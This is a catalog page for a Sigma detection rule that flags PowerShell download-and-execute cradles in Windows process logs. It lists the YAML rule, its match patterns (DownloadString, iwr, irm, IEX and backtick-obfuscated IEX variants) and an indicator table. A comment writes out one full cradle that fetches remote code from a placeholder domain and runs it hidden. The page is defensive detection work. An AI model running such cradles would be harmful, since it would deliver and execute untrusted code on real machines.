Detection rules › Sigma

PowerShell Download and Execution Cradles

Status
test
Severity
high
Log source
product windows, category process_creation
Author
Florian Roth (Nextron Systems)
Source
github.com/SigmaHQ/sigma

Detects PowerShell download and execution cradles.

MITRE ATT&CK coverage

Event coverage

Rule body yaml

title: PowerShell Download and Execution Cradles
id: 85b0b087-eddf-4a2b-b033-d771fa2b9775
status: test
description: Detects PowerShell download and execution cradles.
references:
    - https://github.com/VirtualAlllocEx/Payload-Download-Cradles/blob/88e8eca34464a547c90d9140d70e9866dcbc6a12/Download-Cradles.cmd
    - https://labs.withsecure.com/publications/fin7-target-veeam-servers
author: Florian Roth (Nextron Systems)
date: 2022-03-24
modified: 2025-07-18
tags:
    - attack.execution
    - attack.t1059
logsource:
    product: windows
    category: process_creation
detection:
    selection_download:
        CommandLine|contains:
            - '.DownloadString('
            - '.DownloadFile('
            - 'Invoke-WebRequest '
            - 'iwr '
            - 'Invoke-RestMethod '
            - 'irm '  # powershell -ep bypass -w h -c irm test.domain/ffe | iex
    selection_iex:
        CommandLine|contains:
            - ';iex $'
            - '| IEX'
            - '|IEX '
            - 'I`E`X'
            - 'I`EX'
            - 'IE`X'
            - 'iex '
            - 'IEX ('
            - 'IEX('
            - 'Invoke-Expression'
    condition: all of selection_*
falsepositives:
    - Some PowerShell installers were seen using similar combinations. Apply filters accordingly
level: high

Stages and Predicates

Stage 0: condition

all of selection_*

Stage 1: selection_download

selection_download:
    CommandLine|contains:
        - '.DownloadString('
        - '.DownloadFile('
        - 'Invoke-WebRequest '
        - 'iwr '
        - 'Invoke-RestMethod '
        - 'irm '

Stage 2: selection_iex

selection_iex:
    CommandLine|contains:
        - ';iex $'
        - '| IEX'
        - '|IEX '
        - 'I`E`X'
        - 'I`EX'
        - 'IE`X'
        - 'iex '
        - 'IEX ('
        - 'IEX('
        - 'Invoke-Expression'

Indicators

Each row is a field, operator, and value that the rule matches. The corpus column counts how many other rules in the catalog look for the same combination: high numbers point to widely-used, community-vetted indicators. Blank or 1 shows that the indicator is specific to this rule.

FieldKindValues
CommandLinematch
  • .DownloadFile( corpus 8 (sigma 7, chronicle 1)
  • .DownloadString( corpus 8 (sigma 7, chronicle 1)
  • ;iex $
  • IEX (
  • IEX( corpus 3 (sigma 3)
  • IE`X
  • I`EX
  • I`E`X
  • Invoke-Expression corpus 4 (sigma 4)
  • Invoke-RestMethod corpus 2 (sigma 2)
  • Invoke-WebRequest corpus 5 (sigma 4, chronicle 1)
  • iex corpus 6 (sigma 6)
  • irm corpus 5 (sigma 5)
  • iwr corpus 13 (sigma 11, chronicle 2)
  • | IEX
  • |IEX